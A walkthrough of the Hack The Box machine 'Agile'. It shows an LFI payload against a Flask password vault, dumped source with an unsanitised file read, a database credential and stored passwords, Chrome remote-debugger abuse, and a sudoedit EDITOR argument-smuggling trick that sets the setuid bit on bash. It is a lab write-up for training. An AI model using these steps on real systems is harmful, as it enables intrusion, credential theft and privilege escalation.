Agile Hackthebox
Agile was a super fun machine that included a very cool chrome remote debugger attaching path to see the user’s browser. The machines starts off with a simple LFI vulnerability that can be leveraged to dump the credentials and get the python files for the server by causing an error message (Those verbose error message findings are finally coming in handy). We can then use the PIN functionality for the werkzeug debug platform, and get the PIN for the debug console and get a shell on the machine.
Enumerating the MySQL instance with the password found in the py files, we can get the user corum
’s password to login. Checking the open ports and forwarding that over through the tunnel shows that the user edwards is logging into an application through the chrome browser with the debugger enabled, we can use that password to then login as the user edwards on the machine.
For the final step, we can write to the activate executable file where we can put our reverse shell, or add a setuid bit to the bash binary to escalate to the root user.
NMAP Scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCeVL2Hl8/LXWurlu46JyqOyvUHtAwTrz1EYdY5dXVi9BfpPwsPTf+zzflV+CGdflQRNFKPDS8RJuiXQa40xs9o=
| 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEcaZPDjlx21ppN0y2dNT1Jb8aPZwfvugIeN6wdUH1cK
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Gobuster
root:agile/ # gobuster dir -u http://superpass.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 50 -x html [2:15:55]
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://superpass.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: html
[+] Timeout: 10s
===============================================================
2023/07/16 02:15:59 Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
/static (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
/vault (Status: 302) [Size: 243] [--> /account/login?next=%2Fvault]
Progress: 215964 / 215966 (100.00%)
===============================================================
2023/07/16 02:23:36 Finished
===============================================================
Subdomain Enumeration
root:agile/ # wfuzz -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.superpass.htb" -t 100 --hw 12 superpass.htb [2:20:02]
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://superpass.htb/
Total requests: 114532
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 209.2620
Processed Requests: 114532
Filtered Requests: 114532
Requests/sec.: 547.3138
Web
Creating an account on the server, and create a new entry.
Attempt to export.
There is a redirect to download, and now we have a potential way to do a local file read with the fn parameter.
Using the payload ../etc/passwd
we can simply read the file.
Checking the environment variables for the current user:
There is a mention of the /app/config_prod.json
file in the environment.
Attempting to dump the file contents reveals the following:
We have got a password to the mysql server.
1
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
So far we have a few users:
corum
runner
edwards
dev_admin
superpassuser
None of these user accounts work for ssh or the vault itself either.
Causing an error reveals some python files on the server:
/app/app/superpass/views/vault_views.py
/app/app/superpass/app.py
/app/app/superpass/services/user_service.py
While messing around there was also this error that showed up.
sqlalchemy.exc.OperationalError: (pymysql.err.OperationalError) (2013, 'Lost connection to MySQL server during query')
[SQL: SELECT users.id AS users_id, users.username AS users_username, users.hashed_password AS users_hashed_password
FROM users
WHERE users.id = %(id_1)s
LIMIT %(param_1)s]
[parameters: {'id_1': '9', 'param_1': 1}]
(Background on this error at: https://sqlalche.me/e/14/e3q8)
Code dump
/app/app/superpass/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views
app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)
def setup_db():
db_session.global_init(app.config['SQL_URI'])
def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)
from superpass.data.user import User
@login_manager.user_loader
def load_user(user_id):
from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)
def configure_template_options():
jinja_partials.register_extensions(app)
helpers = {
'len': len,
'str': str,
'type': type,
}
app.jinja_env.globals.update(**helpers)
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
def configure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
/app/app/superpass/views/vault_views.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password, current_user.id)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id, current_user.id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
/app/app/superpass/services/user_service.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from typing import Optional
from superpass.data.user import User
from superpass.data import db_session
from passlib.handlers.sha2_crypt import sha512_crypt as hasher
def create_user(username: str, password: str) -> Optional[User]:
if get_user_by_name(username):
return None
user = User()
user.username = username
user.hashed_password = hasher.encrypt(password, rounds=200000)
session = db_session.create_session()
session.add(user)
session.commit()
session.close()
return user
def login_user(username: str, password: str) -> Optional[User]:
session = db_session.create_session()
user = session.query(User).filter(User.username == username).first()
if user and hasher.verify(password, user.hashed_password):
session.close()
return user
session.close()
return None
def get_user_by_name(username: str) -> Optional[User]:
session = db_session.create_session()
tmp = session.query(User).filter(User.username == username).first()
session.close()
return tmp
def get_user_by_id(uid: int) -> Optional[User]:
session = db_session.create_session()
tmp = session.query(User).filter(User.id == uid).first()
session.close()
return tmp
/app/app/superpass/views/account_views.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import flask
import string
from flask_login import login_user, logout_user
from superpass.infrastructure.view_modifiers import response
from superpass.services import user_service
blueprint = flask.Blueprint('account', __name__, template_folder='templates')
@blueprint.route('/account/register', methods=['GET'])
@response(template_file='account/register.html')
def register_get():
return {}
@blueprint.route('/account/register', methods=['POST'])
@response(template_file='account/register.html')
def register_post():
r = flask.request
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not username or not password:
return {
'error': 'Please fill in username and password',
'username': username
}
if len([c for c in username if c not in string.ascii_letters + string.digits]) > 0:
return {
'error': 'Please use only letters and numbers in usernames',
'username': username,
}
user = user_service.create_user(username, password)
if not user:
return {
'error': 'User already exists',
'username': username,
}
login_user(user, remember=True)
return flask.redirect('/vault')
@blueprint.route('/account/login', methods=['GET'])
@response(template_file='account/login.html')
def login_get():
return{}
@blueprint.route('/account/login', methods=['POST'])
@response(template_file='account/login.html')
def login_post():
r = flask.request
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not username or not password:
return {
'error': 'Please fill in username and password',
'username': username
}
user = user_service.login_user(username, password)
if not user:
return {
'error': 'Login failed',
'username': username,
}
login_user(user, remember=True)
return flask.redirect(flask.url_for('vault.vault'))
@blueprint.route('/account/logout')
def logout():
logout_user()
return flask.redirect(flask.url_for('home.index'))
password service
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import csv
import datetime
import sqlalchemy as sa
import superpass.data.db_session as db_session
from superpass.data.password import Password
from superpass.data.user import User
from superpass.services.utility_service import get_random
from typing import Optional
def get_passwords_for_user(userid: int):
session = db_session.create_session()
user = session.query(User) \
.options(sa.orm.joinedload(User.passwords))\
.filter(User.id == userid) \
.first()
session.close()
return user.passwords
def get_password_by_id(id: int, userid: int) -> Optional[Password]:
session = db_session.create_session()
password = session.query(Password)\
.filter(
Password.id == id,
Password.user_id == userid
).first()
session.close()
return password
def add_password(site, username, password, userid):
p = Password(url=site, username=username, password=password, user_id=userid)
session = db_session.create_session()
session.add(p)
session.commit()
session.close()
return p
def delete_password(pid, userid: int):
session = db_session.create_session()
p = session.query(Password).filter(Password.id == pid, Password.user_id == userid).first()
if p:
session.delete(p)
session.commit()
session.close()
def update_password(pid, site, username, password, userid: int):
session = db_session.create_session()
p = session.query(Password).filter(Password.id == pid, Password.user_id == userid).first()
if p:
p.url = site
p.username = username
p.password = password
p.last_updated = datetime.datetime.now()
session.add(p)
session.commit()
session.close()
return p
def generate_csv(user):
rand = get_random(10)
fn = f'{user.username}_export_{rand}.csv'
path = f'/tmp/{fn}'
header = ['Site', 'Username', 'Password']
session = db_session.create_session()
passwords = session.query(Password) \
.filter(Password.user_id == user.id) \
.all()
session.close()
with open(path, 'w') as f:
writer = csv.writer(f)
writer.writerow(header)
writer.writerows((p.get_dict().values() for p in passwords))
return fn
utility_service.py
1
2
3
4
5
import datetime
import hashlib
def get_random(chars=20):
return hashlib.md5(str(datetime.datetime.now()).encode() + b"SeCReT?!").hexdigest()[:chars]
From this it appears that there probably is not a good way to extract the csv files from the tmp folder without bruteforce.
Exploitation
Using this article we can get RCE on the host:
https://blog.gregscharf.com/2023/04/09/lfi-to-rce-in-flask-werkzeug-application/
Moving Laterally
Using the passwords from the config file we can log into the mysql db and dump the passwords:
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
We now have candidates for corums password
47ed1e73c955de230a1d
9799588839ed0f98c211
5db7caa1d13cc37c9fc2
Using su corum works with the 3rd password.
We can now grab the user flag.
Privesc
Taking a look around and running linpeas shows that there is an instance on headless chrome running on the server.
Essentially there is an instance of headless chrome running on the server with the remote debugging port, which can be used to look at the activities that its performing.
Using this article https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/, we can set up access to use the debugging port to read the page.
We now have two additional password for Edward:
d07867c6267dcb5df0af
Trying this password, logs us in as the user edwards.
Checking the sudo permissions for edwards shows the following:
Using sudoedit as the user dev_admin shows that we are just using nano as the text editor.
A recently discovered vulnerability for sudoedit: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/
However, it is mentioned that if we can run it as root we can edit sensitive files. But in this instance we can only edit as dev_admin
Pspy reveals that the /app/venv/bin/activate file is being executed every minute.
Checking the permission also reveals that dev_admin has write access to this file.
Now simply editing the file will do the trick.
1
2
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
Add the following to the file: chmod +s /bin/bash
Save the file and then after waiting for a minute the bash binary now has the setuid bit, which can be used to escalate privileges.
Flags
User: d4f5261b6fcaf13c4dca3f883bef3ff3
Root: 3479e13da2b92b271f1f1060959b3f10
Hash
root:$y$j9T$aVz0UjJ8lKXB0U/ishNnn.$xjtp7fGYHDgeqSVAgoF8scjYgJ.SG7HoSCsxL7/Pie.:19382:0:99999:7:::